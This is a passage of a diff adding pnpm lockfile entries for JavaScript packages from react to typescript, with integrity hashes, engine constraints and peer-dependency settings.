+ react: ^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0 || ^19.0.0-rc
+ peerDependenciesMeta:
+ '@types/react':
+ optional: true
+
+ react@19.2.4:
+ resolution: {integrity: sha512-9nfp2hYpCwOjAN+8TZFGhtWEwgvWHXqESH8qT89AT/lWklpLON22Lc8pEtnpsZz7VmawabSU0gCjnj8aC0euHQ==}
+ engines: {node: '>=0.10.0'}
+
+ readable-stream@4.7.0:
+ resolution: {integrity: sha512-oIGGmcpTLwPga8Bn6/Z75SVaH1z5dUut2ibSyAMVhmUggWpmDn2dapB0n7f8nwaSiRtepAsfJyfXIO5DCVAODg==}
+ engines: {node: ^12.22.0 || ^14.17.0 || >=16.0.0}
+
+ readdirp@4.1.2:
+ resolution: {integrity: sha512-GDhwkLfywWL2s6vEjyhri+eXmfH6j1L7JE27WhqLeYzoh/A3DBaYGEj2H/HFZCn/kMfim73FXxEJTw06WtxQwg==}
+ engines: {node: '>= 14.18.0'}
+
+ reflect.getprototypeof@1.0.10:
+ resolution: {integrity: sha512-00o4I+DVrefhv+nX0ulyi3biSHCPDe+yLv5o/p6d/UVlirijB8E16FtfwSAi4g3tcqrQ4lRAqQSoFEZJehYEcw==}
+ engines: {node: '>= 0.4'}
+
+ regexp.prototype.flags@1.5.4:
+ resolution: {integrity: sha512-dYqgNSZbDwkaJ2ceRd9ojCGjBq+mOm9LmtXnAnEGyHhN/5R7iDW2TRw3h+o/jCFxus3P2LfWIIiwowAjANm7IA==}
+ engines: {node: '>= 0.4'}
+
+ require-from-string@2.0.2:
+ resolution: {integrity: sha512-Xf0nWe6RseziFMu+Ap9biiUbmplq6S9/p+7w7YXP/JBHhrUDDUhwa+vANyubuqfZWTveU//DYVGsDG7RKL/vEw==}
+ engines: {node: '>=0.10.0'}
+
+ resolve-from@4.0.0:
+ resolution: {integrity: sha512-pb/MYmXstAkysRFx8piNI1tGFNQIFA3vkE3Gq4EuA1dF6gHp/+vgZqsCGJapvy8N3Q+4o7FwvquPJcnZ7RYy4g==}
+ engines: {node: '>=4'}
+
+ resolve-from@5.0.0:
+ resolution: {integrity: sha512-qYg9KP24dD5qka9J47d0aVky0N+b4fTU89LN9iDnjB5waksiC49rvMB0PrUJQGoTmH50XPiqOvAjDfaijGxYZw==}
+ engines: {node: '>=8'}
+
+ resolve-pkg-maps@1.0.0:
+ resolution: {integrity: sha512-seS2Tj26TBVOC2NIc2rOe2y2ZO7efxITtLZcGSOnHHNOQ7CkiUBfw0Iw2ck6xkIhPwLhKNLS8BO+hEpngQlqzw==}
+
+ resolve.exports@2.0.3:
+ resolution: {integrity: sha512-OcXjMsGdhL4XnbShKpAcSqPMzQoYkYyhbEaeSko47MjRP9NfEQMhZkXL1DoFlt9LWQn4YttrdnV6X2OiyzBi+A==}
+ engines: {node: '>=10'}
+
+ resolve@1.22.11:
+ resolution: {integrity: sha512-RfqAvLnMl313r7c9oclB1HhUEAezcpLjz95wFH4LVuhk9JF/r22qmVP9AMmOU4vMX7Q8pN8jwNg/CSpdFnMjTQ==}
+ engines: {node: '>= 0.4'}
+ hasBin: true
+
+ resolve@2.0.0-next.5:
+ resolution: {integrity: sha512-U7WjGVG9sH8tvjW5SmGbQuui75FiyjAX72HX15DwBBwF9dNiQZRQAg9nnPhYy+TUnE0+VcrttuvNI8oSxZcocA==}
+ hasBin: true
+
+ retry@0.13.1:
+ resolution: {integrity: sha512-XQBQ3I8W1Cge0Seh+6gjj03LbmRFWuoszgK9ooCpwYIrhhoO80pfq4cUkU5DkknwfOfFteRwlZ56PYOGYyFWdg==}
+ engines: {node: '>= 4'}
+
+ reusify@1.1.0:
+ resolution: {integrity: sha512-g6QUff04oZpHs0eG5p83rFLhHeV00ug/Yf9nZM6fLeUrPguBTkTQOdpAWWspMh55TZfVQDPaN3NQJfbVRAxdIw==}
+ engines: {iojs: '>=1.0.0', node: '>=0.10.0'}
+
+ rfdc@1.4.1:
+ resolution: {integrity: sha512-q1b3N5QkRUWUl7iyylaaj3kOpIT0N2i9MqIEQXP73GVsN9cw3fdx8X63cEmWhJGi2PPCF23Ijp7ktmd39rawIA==}
+
+ rolldown@1.0.0-rc.1:
+ resolution: {integrity: sha512-M3AeZjYE6UclblEf531Hch0WfVC/NOL43Cc+WdF3J50kk5/fvouHhDumSGTh0oRjbZ8C4faaVr5r6Nx1xMqDGg==}
+ engines: {node: ^20.19.0 || >=22.12.0}
+ hasBin: true
+
+ run-applescript@7.1.0:
+ resolution: {integrity: sha512-DPe5pVFaAsinSaV6QjQ6gdiedWDcRCbUuiQfQa2wmWV7+xC9bGulGI8+TdRmoFkAPaBXk8CrAbnlY2ISniJ47Q==}
+ engines: {node: '>=18'}
+
+ run-parallel@1.2.0:
+ resolution: {integrity: sha512-5l4VyZR86LZ/lDxZTR6jqL8AFE2S0IFLMP26AbjsLVADxHdhB/c0GUsH+y39UfCi3dzz8OlQuPmnaJOMoDHQBA==}
+
+ safe-array-concat@1.1.3:
+ resolution: {integrity: sha512-AURm5f0jYEOydBj7VQlVvDrjeFgthDdEF5H1dP+6mNpoXOMo1quQqJ4wvJDyRZ9+pO3kGWoOdmV08cSv2aJV6Q==}
+ engines: {node: '>=0.4'}
+
+ safe-buffer@5.2.1:
+ resolution: {integrity: sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==}
+
+ safe-push-apply@1.0.0:
+ resolution: {integrity: sha512-iKE9w/Z7xCzUMIZqdBsp6pEQvwuEebH4vdpjcDWnyzaI6yl6O9FHvVpmGelvEHNsoY6wGblkxR6Zty/h00WiSA==}
+ engines: {node: '>= 0.4'}
+
+ safe-regex-test@1.1.0:
+ resolution: {integrity: sha512-x/+Cz4YrimQxQccJf5mKEbIa1NzeCRNI5Ecl/ekmlYaampdNLPalVyIcCZNNH3MvmqBugV5TMYZXv0ljslUlaw==}
+ engines: {node: '>= 0.4'}
+
+ safer-buffer@2.1.2:
+ resolution: {integrity: sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==}
+
+ scheduler@0.27.0:
+ resolution: {integrity: sha512-eNv+WrVbKu1f3vbYJT/xtiF5syA5HPIMtf9IgY/nKg0sWqzAUEvqY/xm7OcZc/qafLx/iO9FgOmeSAp4v5ti/Q==}
+
+ schema-utils@3.3.0:
+ resolution: {integrity: sha512-pN/yOAvcC+5rQ5nERGuwrjLlYvLTbCibnZ1I7B1LaiAz9BRBlE9GMgE/eqV30P7aJQUf7Ddimy/RsbYO/GrVGg==}
+ engines: {node: '>= 10.13.0'}
+
+ schema-utils@4.3.3:
+ resolution: {integrity: sha512-eflK8wEtyOE6+hsaRVPxvUKYCpRgzLqDTb8krvAsRIwOGlHoSgYLgBXoubGgLd2fT41/OUYdb48v4k4WWHQurA==}
+ engines: {node: '>= 10.13.0'}
+
+ semver@6.3.1:
+ resolution: {integrity: sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==}
+ hasBin: true
+
+ semver@7.5.4:
+ resolution: {integrity: sha512-1bCSESV6Pv+i21Hvpxp3Dx+pSD8lIPt8uVjRrxAUt/nbswYc+tK6Y2btiULjd4+fnq15PX+nqQDC7Oft7WkwcA==}
+ engines: {node: '>=10'}
+ hasBin: true
+
+ semver@7.7.3:
+ resolution: {integrity: sha512-SdsKMrI9TdgjdweUSR9MweHA4EJ8YxHn8DFaDisvhVlUOe4BF1tLD7GAj0lIqWVl+dPb/rExr0Btby5loQm20Q==}
+ engines: {node: '>=10'}
+ hasBin: true
+
+ seq-queue@0.0.5:
+ resolution: {integrity: sha512-hr3Wtp/GZIc/6DAGPDcV4/9WoZhjrkXsi5B/07QgX8tsdc6ilr7BFM6PM6rbdAX1kFSDYeZGLipIZZKyQP0O5Q==}
+
+ serialize-javascript@6.0.2:
+ resolution: {integrity: sha512-Saa1xPByTTq2gdeFZYLLo+RFE35NHZkAbqZeWNd3BpzppeVisAqpDjcp8dyf6uIvEqJRd46jemmyA4iFIeVk8g==}
+
+ set-function-length@1.2.2:
+ resolution: {integrity: sha512-pgRc4hJ4/sNjWCSS9AmnS40x3bNMDTknHgL5UaMBTMyJnU90EgWh1Rz+MC9eFu4BuN/UwZjKQuY/1v3rM7HMfg==}
+ engines: {node: '>= 0.4'}
+
+ set-function-name@2.0.2:
+ resolution: {integrity: sha512-7PGFlmtwsEADb0WYyvCMa1t+yke6daIG4Wirafur5kcf+MhUnPms1UeR0CKQdTZD81yESwMHbtn+TR+dMviakQ==}
+ engines: {node: '>= 0.4'}
+
+ set-proto@1.0.0:
+ resolution: {integrity: sha512-RJRdvCo6IAnPdsvP/7m6bsQqNnn1FCBX5ZNtFL98MmFF/4xAIJTIg1YbHW5DC2W5SKZanrC6i4HsJqlajw/dZw==}
+ engines: {node: '>= 0.4'}
+
+ setprototypeof@1.1.1:
+ resolution: {integrity: sha512-JvdAWfbXeIGaZ9cILp38HntZSFSo3mWg6xGcJJsd+d4aRMOqauag1C63dJfDw7OaMYwEbHMOxEZ1lqVRYP2OAw==}
+
+ sharp@0.34.5:
+ resolution: {integrity: sha512-Ou9I5Ft9WNcCbXrU9cMgPBcCK8LiwLqcbywW3t4oDV37n1pzpuNLsYiAV8eODnjbtQlSDwZ2cUEeQz4E54Hltg==}
+ engines: {node: ^18.17.0 || ^20.3.0 || >=21.0.0}
+
+ shebang-command@2.0.0:
+ resolution: {integrity: sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA==}
+ engines: {node: '>=8'}
+
+ shebang-regex@3.0.0:
+ resolution: {integrity: sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A==}
+ engines: {node: '>=8'}
+
+ side-channel-list@1.0.0:
+ resolution: {integrity: sha512-FCLHtRD/gnpCiCHEiJLOwdmFP+wzCmDEkc9y7NsYxeF4u7Btsn1ZuwgwJGxImImHicJArLP4R0yX4c2KCrMrTA==}
+ engines: {node: '>= 0.4'}
+
+ side-channel-map@1.0.1:
+ resolution: {integrity: sha512-VCjCNfgMsby3tTdo02nbjtM/ewra6jPHmpThenkTYh8pG9ucZ/1P8So4u4FGBek/BjpOVsDCMoLA/iuBKIFXRA==}
+ engines: {node: '>= 0.4'}
+
+ side-channel-weakmap@1.0.2:
+ resolution: {integrity: sha512-WPS/HvHQTYnHisLo9McqBHOJk2FkHO/tlpvldyrnem4aeQp4hai3gythswg6p01oSoTl58rcpiFAjF2br2Ak2A==}
+ engines: {node: '>= 0.4'}
+
+ side-channel@1.1.0:
+ resolution: {integrity: sha512-ZX99e6tRweoUXqR+VBrslhda51Nh5MTQwou5tnUDgbtyM0dBgmhEDtWGP/xbKn6hqfPRHujUNwz5fy/wbbhnpw==}
+ engines: {node: '>= 0.4'}
+
+ signal-exit@3.0.7:
+ resolution: {integrity: sha512-wnD2ZE+l+SPC/uoS0vXeE9L1+0wuaMqKlfz9AMUo38JsyLSBWSFcHR1Rri62LZc12vLr1gb3jl7iwQhgwpAbGQ==}
+
+ signal-exit@4.0.2:
+ resolution: {integrity: sha512-MY2/qGx4enyjprQnFaZsHib3Yadh3IXyV2C321GY0pjGfVBu4un0uDJkwgdxqO+Rdx8JMT8IfJIRwbYVz3Ob3Q==}
+ engines: {node: '>=14'}
+
+ source-map-js@1.2.1:
+ resolution: {integrity: sha512-UXWMKhLOwVKb728IUtQPXxfYU+usdybtUrK/8uGE8CQMvrhOpwvzDBwj0QhSL7MQc7vIsISBG8VQ8+IDQxpfQA==}
+ engines: {node: '>=0.10.0'}
+
+ source-map-support@0.5.21:
+ resolution: {integrity: sha512-uBHU3L3czsIyYXKX88fdrGovxdSCoTGDRZ6SYXtSRxLZUzHg5P/66Ht6uoUlHu9EZod+inXhKo3qQgwXUT/y1w==}
+
+ source-map@0.6.1:
+ resolution: {integrity: sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==}
+ engines: {node: '>=0.10.0'}
+
+ sprintf-js@1.1.3:
+ resolution: {integrity: sha512-Oo+0REFV59/rz3gfJNKQiBlwfHaSESl1pcGyABQsnnIfWOFt6JNj5gCog2U6MLZ//IGYD+nA8nI+mTShREReaA==}
+
+ sqlstring@2.3.3:
+ resolution: {integrity: sha512-qC9iz2FlN7DQl3+wjwn3802RTyjCx7sDvfQEXchwa6CWOx07/WVfh91gBmQ9fahw8snwGEWU3xGzOt4tFyHLxg==}
+ engines: {node: '>= 0.6'}
+
+ srvx@0.8.9:
+ resolution: {integrity: sha512-wYc3VLZHRzwYrWJhkEqkhLb31TI0SOkfYZDkUhXdp3NoCnNS0FqajiQszZZjfow/VYEuc6Q5sZh9nM6kPy2NBQ==}
+ engines: {node: '>=20.16.0'}
+ hasBin: true
+
+ stable-hash@0.0.5:
+ resolution: {integrity: sha512-+L3ccpzibovGXFK+Ap/f8LOS0ahMrHTf3xu7mMLSpEGU0EO9ucaysSylKo9eRDFNhWve/y275iPmIZ4z39a9iA==}
+
+ stat-mode@0.3.0:
+ resolution: {integrity: sha512-QjMLR0A3WwFY2aZdV0okfFEJB5TRjkggXZjxP3A1RsWsNHNu3YPv8btmtc6iCFZ0Rul3FE93OYogvhOUClU+ng==}
+
+ statuses@1.5.0:
+ resolution: {integrity: sha512-OpZ3zP+jT1PI7I8nemJX4AKmAX070ZkYPVWV/AaKTJl+tXCTGyVdC1a4SL8RUQYEwk/f34ZX8UTykN68FwrqAA==}
+ engines: {node: '>= 0.6'}
+
+ stop-iteration-iterator@1.1.0:
+ resolution: {integrity: sha512-eLoXW/DHyl62zxY4SCaIgnRhuMr6ri4juEYARS8E6sCEqzKpOiE521Ucofdx+KnDZl5xmvGYaaKCk5FEOxJCoQ==}
+ engines: {node: '>= 0.4'}
+
+ stream-to-array@2.3.0:
+ resolution: {integrity: sha512-UsZtOYEn4tWU2RGLOXr/o/xjRBftZRlG3dEWoaHr8j4GuypJ3isitGbVyjQKAuMu+xbiop8q224TjiZWc4XTZA==}
+
+ stream-to-promise@2.2.0:
+ resolution: {integrity: sha512-HAGUASw8NT0k8JvIVutB2Y/9iBk7gpgEyAudXwNJmZERdMITGdajOa4VJfD/kNiA3TppQpTP4J+CtcHwdzKBAw==}
+
+ string.prototype.includes@2.0.1:
+ resolution: {integrity: sha512-o7+c9bW6zpAdJHTtujeePODAhkuicdAryFsfVKwA+wGw89wJ4GTY484WTucM9hLtDEOpOvI+aHnzqnC5lHp4Rg==}
+ engines: {node: '>= 0.4'}
+
+ string.prototype.matchall@4.0.12:
+ resolution: {integrity: sha512-6CC9uyBL+/48dYizRf7H7VAYCMCNTBeM78x/VTUe9bFEaxBepPJDa1Ow99LqI/1yF7kuy7Q3cQsYMrcjGUcskA==}
+ engines: {node: '>= 0.4'}
+
+ string.prototype.repeat@1.0.0:
+ resolution: {integrity: sha512-0u/TldDbKD8bFCQ/4f5+mNRrXwZ8hg2w7ZR8wa16e8z9XpePWl3eGEcUD0OXpEH/VJH/2G3gjUtR3ZOiBe2S/w==}
+
+ string.prototype.trim@1.2.10:
+ resolution: {integrity: sha512-Rs66F0P/1kedk5lyYyH9uBzuiI/kNRmwJAR9quK6VOtIpZ2G+hMZd+HQbbv25MgCA6gEffoMZYxlTod4WcdrKA==}
+ engines: {node: '>= 0.4'}
+
+ string.prototype.trimend@1.0.9:
+ resolution: {integrity: sha512-G7Ok5C6E/j4SGfyLCloXTrngQIQU3PWtXGst3yM7Bea9FRURf1S42ZHlZZtsNque2FN2PoUhfZXYLNWwEr4dLQ==}
+ engines: {node: '>= 0.4'}
+
+ string.prototype.trimstart@1.0.8:
+ resolution: {integrity: sha512-UXSH262CSZY1tfu3G3Secr6uGLCFVPMhIqHjlgCUtCCcgihYc/xKs9djMTMUOb2j1mVSeU8EU6NWc/iQKU6Gfg==}
+ engines: {node: '>= 0.4'}
+
+ string_decoder@1.3.0:
+ resolution: {integrity: sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==}
+
+ strip-bom@3.0.0:
+ resolution: {integrity: sha512-vavAMRXOgBVNF6nyEEmL3DBK19iRpDcoIwW+swQ+CbGiu7lju6t+JklA1MHweoWtadgt4ISVUsXLyDq34ddcwA==}
+ engines: {node: '>=4'}
+
+ strip-final-newline@2.0.0:
+ resolution: {integrity: sha512-BrpvfNAE3dcvq7ll3xVumzjKjZQ5tI1sEUIKr3Uoks0XUl45St3FlatVqef9prk4jRDzhW6WZg+3bk93y6pLjA==}
+ engines: {node: '>=6'}
+
+ strip-json-comments@3.1.1:
+ resolution: {integrity: sha512-6fPc+R4ihwqP6N/aIv2f1gMH8lOVtWQHoqC4yK6oSDVVocumAsfCqjkXnqiYMhmMwS/mEHLp7Vehlt3ql6lEig==}
+ engines: {node: '>=8'}
+
+ styled-jsx@5.1.6:
+ resolution: {integrity: sha512-qSVyDTeMotdvQYoHWLNGwRFJHC+i+ZvdBRYosOFgC+Wg1vx4frN2/RG/NA7SYqqvKNLf39P2LSRA2pu6n0XYZA==}
+ engines: {node: '>= 12.0.0'}
+ peerDependencies:
+ '@babel/core': '*'
+ babel-plugin-macros: '*'
+ react: '>= 16.8.0 || 17.x.x || ^18.0.0-0 || ^19.0.0-0'
+ peerDependenciesMeta:
+ '@babel/core':
+ optional: true
+ babel-plugin-macros:
+ optional: true
+
+ supports-color@7.2.0:
+ resolution: {integrity: sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==}
+ engines: {node: '>=8'}
+
+ supports-color@8.1.1:
+ resolution: {integrity: sha512-MpUEN2OodtUzxvKQl72cUF7RQ5EiHsGvSsVG0ia9c5RbWGL2CI4C7EpPS8UTBIplnlzZiNuV56w+FuNxy3ty2Q==}
+ engines: {node: '>=10'}
+
+ supports-preserve-symlinks-flag@1.0.0:
+ resolution: {integrity: sha512-ot0WnXS9fgdkgIcePe6RHNk1WA8+muPa6cSjeR3V8K27q9BB1rTE3R1p7Hv0z1ZyAc8s6Vvv8DIyWf681MAt0w==}
+ engines: {node: '>= 0.4'}
+
+ tailwindcss@4.1.18:
+ resolution: {integrity: sha512-4+Z+0yiYyEtUVCScyfHCxOYP06L5Ne+JiHhY2IjR2KWMIWhJOYZKLSGZaP5HkZ8+bY0cxfzwDE5uOmzFXyIwxw==}
+
+ tapable@2.3.0:
+ resolution: {integrity: sha512-g9ljZiwki/LfxmQADO3dEY1CbpmXT5Hm2fJ+QaGKwSXUylMybePR7/67YW7jOrrvjEgL1Fmz5kzyAjWVWLlucg==}
+ engines: {node: '>=6'}
+
+ tar@6.2.1:
+ resolution: {integrity: sha512-DZ4yORTwrbTj/7MZYq2w+/ZFdI6OZ/f9SFHR+71gIVUZhOQPHzVCLpvRnPgyaMpfWxxk/4ONva3GQSyNIKRv6A==}
+ engines: {node: '>=10'}
+ deprecated: Old versions of tar are not supported, and contain widely publicized security vulnerabilities, which have been fixed in the current version. Please update. Support for old versions may be purchased (at exorbitant rates) by contacting i@izs.me
+
+ tar@7.5.2:
+ resolution: {integrity: sha512-7NyxrTE4Anh8km8iEy7o0QYPs+0JKBTj5ZaqHg6B39erLg0qYXN3BijtShwbsNSvQ+LN75+KV+C4QR/f6Gwnpg==}
+ engines: {node: '>=18'}
+ deprecated: Old versions of tar are not supported, and contain widely publicized security vulnerabilities, which have been fixed in the current version. Please update. Support for old versions may be purchased (at exorbitant rates) by contacting i@izs.me
+
+ tarn@3.0.2:
+ resolution: {integrity: sha512-51LAVKUSZSVfI05vjPESNc5vwqqZpbXCsU+/+wxlOrUjk2SnFTt97v9ZgQrD4YmxYW1Px6w2KjaDitCfkvgxMQ==}
+ engines: {node: '>=8.0.0'}
+
+ tedious@18.6.2:
+ resolution: {integrity: sha512-g7jC56o3MzLkE3lHkaFe2ZdOVFBahq5bsB60/M4NYUbocw/MCrS89IOEQUFr+ba6pb8ZHczZ/VqCyYeYq0xBAg==}
+ engines: {node: '>=18'}
+
+ tedious@19.2.0:
+ resolution: {integrity: sha512-2dDjX0KP54riDvJPiiIozv0WRS/giJb3/JG2lWpa2dgM0Gha7mLAxbTR3ltPkGzfoS6M3oDnhYnWuzeaZibHuQ==}
+ engines: {node: '>=18.17'}
+
+ terser-webpack-plugin@5.3.16:
+ resolution: {integrity: sha512-h9oBFCWrq78NyWWVcSwZarJkZ01c2AyGrzs1crmHZO3QUg9D61Wu4NPjBy69n7JqylFF5y+CsUZYmYEIZ3mR+Q==}
+ engines: {node: '>= 10.13.0'}
+ peerDependencies:
+ '@swc/core': '*'
+ esbuild: '*'
+ uglify-js: '*'
+ webpack: ^5.1.0
+ peerDependenciesMeta:
+ '@swc/core':
+ optional: true
+ esbuild:
+ optional: true
+ uglify-js:
+ optional: true
+
+ terser@5.46.0:
+ resolution: {integrity: sha512-jTwoImyr/QbOWFFso3YoU3ik0jBBDJ6JTOQiy/J2YxVJdZCc+5u7skhNwiOR3FQIygFqVUPHl7qbbxtjW2K3Qg==}
+ engines: {node: '>=10'}
+ hasBin: true
+
+ throttleit@2.1.0:
+ resolution: {integrity: sha512-nt6AMGKW1p/70DF/hGBdJB57B8Tspmbp5gfJ8ilhLnt7kkr2ye7hzD6NVG8GGErk2HWF34igrL2CXmNIkzKqKw==}
+ engines: {node: '>=18'}
+
+ time-span@4.0.0:
+ resolution: {integrity: sha512-MyqZCTGLDZ77u4k+jqg4UlrzPTPZ49NDlaekU6uuFaJLzPIN1woaRXCbGeqOfxwc3Y37ZROGAJ614Rdv7Olt+g==}
+ engines: {node: '>=10'}
+
+ tinyexec@0.3.2:
+ resolution: {integrity: sha512-KQQR9yN7R5+OSwaK0XQoj22pwHoTlgYqmUscPYoknOoWCWfj/5/ABTMRi69FrKU5ffPVh5QcFikpWJI/P1ocHA==}
+
+ tinyglobby@0.2.15:
+ resolution: {integrity: sha512-j2Zq4NyQYG5XMST4cbs02Ak8iJUdxRM0XI5QyxXuZOzKOINmWurp3smXu3y5wDcJrptwpSjgXHzIQxR0omXljQ==}
+ engines: {node: '>=12.0.0'}
+
+ to-regex-range@5.0.1:
+ resolution: {integrity: sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==}
+ engines: {node: '>=8.0'}
+
+ toidentifier@1.0.0:
+ resolution: {integrity: sha512-yaOH/Pk/VEhBWWTlhI+qXxDFXlejDGcQipMlyxda9nthulaxLZUNcUqFxokp0vcYnvteJln5FNQDRrxj3YcbVw==}
+ engines: {node: '>=0.6'}
+
+ tr46@0.0.3:
+ resolution: {integrity: sha512-N3WMsuqV66lT30CrXNbEjx4GEwlow3v6rr4mCcv6prnfwhS01rkgyFdjPNBYd9br7LpXV1+Emh01fHnq2Gdgrw==}
+
+ tree-kill@1.2.2:
+ resolution: {integrity: sha512-L0Orpi8qGpRG//Nd+H90vFB+3iHnue1zSSGmNOOCh1GLJ7rUKVwV2HvijphGQS2UmhUZewS9VgvxYIdgr+fG1A==}
+ hasBin: true
+
+ ts-api-utils@2.4.0:
+ resolution: {integrity: sha512-3TaVTaAv2gTiMB35i3FiGJaRfwb3Pyn/j3m/bfAvGe8FB7CF6u+LMYqYlDh7reQf7UNvoTvdfAqHGmPGOSsPmA==}
+ engines: {node: '>=18.12'}
+ peerDependencies:
+ typescript: '>=4.8.4'
+
+ ts-mixer@6.0.4:
+ resolution: {integrity: sha512-ufKpbmrugz5Aou4wcr5Wc1UUFWOLhq+Fm6qa6P0w0K5Qw2yhaUoiWszhCVuNQyNwrlGiscHOmqYoAox1PtvgjA==}
+
+ ts-morph@12.0.0:
+ resolution: {integrity: sha512-VHC8XgU2fFW7yO1f/b3mxKDje1vmyzFXHWzOYmKEkCEwcLjDtbdLgBQviqj4ZwP4MJkQtRo6Ha2I29lq/B+VxA==}
+
+ ts-node@10.9.1:
+ resolution: {integrity: sha512-NtVysVPkxxrwFGUUxGYhfux8k78pQB3JqYBXlLRZgdGUqTO5wU/UyHop5p70iEbGhB7q5KmiZiU0Y3KlJrScEw==}
+ hasBin: true
+ peerDependencies:
+ '@swc/core': '>=1.2.50'
+ '@swc/wasm': '>=1.2.50'
+ '@types/node': '*'
+ typescript: '>=2.7'
+ peerDependenciesMeta:
+ '@swc/core':
+ optional: true
+ '@swc/wasm':
+ optional: true
+
+ ts-toolbelt@6.15.5:
+ resolution: {integrity: sha512-FZIXf1ksVyLcfr7M317jbB67XFJhOO1YqdTcuGaq9q5jLUoTikukZ+98TPjKiP2jC5CgmYdWWYs0s2nLSU0/1A==}
+
+ tsconfig-paths@3.15.0:
+ resolution: {integrity: sha512-2Ac2RgzDe/cn48GvOe3M+o82pEFewD3UPbyoUHHdKasHwJKjds4fLXWf/Ux5kATBKN20oaFGu+jbElp1pos0mg==}
+
+ tslib@2.8.1:
+ resolution: {integrity: sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w==}
+
+ tsx@4.21.0:
+ resolution: {integrity: sha512-5C1sg4USs1lfG0GFb2RLXsdpXqBSEhAaA/0kPL01wxzpMqLILNxIxIOKiILz+cdg/pLnOUxFYOR5yhHU666wbw==}
+ engines: {node: '>=18.0.0'}
+ hasBin: true
+
+ turbo-darwin-64@2.8.3:
+ resolution: {integrity: sha512-4kXRLfcygLOeNcP6JquqRLmGB/ATjjfehiojL2dJkL7GFm3SPSXbq7oNj8UbD8XriYQ5hPaSuz59iF1ijPHkTw==}
+ cpu: [x64]
+ os: [darwin]
+
+ turbo-darwin-arm64@2.8.3:
+ resolution: {integrity: sha512-xF7uCeC0UY0Hrv/tqax0BMbFlVP1J/aRyeGQPZT4NjvIPj8gSPDgFhfkfz06DhUwDg5NgMo04uiSkAWE8WB/QQ==}
+ cpu: [arm64]
+ os: [darwin]
+
+ turbo-linux-64@2.8.3:
+ resolution: {integrity: sha512-vxMDXwaOjweW/4etY7BxrXCSkvtwh0PbwVafyfT1Ww659SedUxd5rM3V2ZCmbwG8NiCfY7d6VtxyHx3Wh1GoZA==}
+ cpu: [x64]
+ os: [linux]
+
+ turbo-linux-arm64@2.8.3:
+ resolution: {integrity: sha512-mQX7uYBZFkuPLLlKaNe9IjR1JIef4YvY8f21xFocvttXvdPebnq3PK1Zjzl9A1zun2BEuWNUwQIL8lgvN9Pm3Q==}
+ cpu: [arm64]
+ os: [linux]
+
+ turbo-windows-64@2.8.3:
+ resolution: {integrity: sha512-YLGEfppGxZj3VWcNOVa08h6ISsVKiG85aCAWosOKNUjb6yErWEuydv6/qImRJUI+tDLvDvW7BxopAkujRnWCrw==}
+ cpu: [x64]
+ os: [win32]
+
+ turbo-windows-arm64@2.8.3:
+ resolution: {integrity: sha512-afTUGKBRmOJU1smQSBnFGcbq0iabAPwh1uXu2BVk7BREg30/1gMnJh9DFEQTah+UD3n3ru8V55J83RQNFfqoyw==}
+ cpu: [arm64]
+ os: [win32]
+
+ turbo@2.8.3:
+ resolution: {integrity: sha512-8Osxz5Tu/Dw2kb31EAY+nhq/YZ3wzmQSmYa1nIArqxgCAldxv9TPlrAiaBUDVnKA4aiPn0OFBD1ACcpc5VFOAQ==}
+ hasBin: true
+
+ type-check@0.4.0:
+ resolution: {integrity: sha512-XleUoc9uwGXqjWwXaUTZAmzMcFZ5858QA2vvx1Ur5xIcixXIP+8LnFDgRplU30us6teqdlskFfu+ae4K79Ooew==}
+ engines: {node: '>= 0.8.0'}
+
+ typed-array-buffer@1.0.3:
+ resolution: {integrity: sha512-nAYYwfY3qnzX30IkA6AQZjVbtK6duGontcQm1WSG1MD94YLqK0515GNApXkoxKOWMusVssAHWLh9SeaoefYFGw==}
+ engines: {node: '>= 0.4'}
+
+ typed-array-byte-length@1.0.3:
+ resolution: {integrity: sha512-BaXgOuIxz8n8pIq3e7Atg/7s+DpiYrxn4vdot3w9KbnBhcRQq6o3xemQdIfynqSeXeDrF32x+WvfzmOjPiY9lg==}
+ engines: {node: '>= 0.4'}
+
+ typed-array-byte-offset@1.0.4:
+ resolution: {integrity: sha512-bTlAFB/FBYMcuX81gbL4OcpH5PmlFHqlCCpAl8AlEzMz5k53oNDvN8p1PNOWLEmI2x4orp3raOFB51tv9X+MFQ==}
+ engines: {node: '>= 0.4'}
+
+ typed-array-length@1.0.7:
+ resolution: {integrity: sha512-3KS2b+kL7fsuk/eJZ7EQdnEmQoaho/r6KUef7hxvltNA5DR8NAUM+8wJMbJyZ4G9/7i3v5zPBIMN5aybAh2/Jg==}
+ engines: {node: '>= 0.4'}
+
+ typescript-eslint@8.52.0:
+ resolution: {integrity: sha512-atlQQJ2YkO4pfTVQmQ+wvYQwexPDOIgo+RaVcD7gHgzy/IQA+XTyuxNM9M9TVXvttkF7koBHmcwisKdOAf2EcA==}
+ engines: {node: ^18.18.0 || ^20.9.0 || >=21.1.0}
+ peerDependencies:
+ eslint: ^8.57.0 || ^9.0.0
+ typescript: '>=4.8.4 <6.0.0'
+
+ typescript@4.9.5:
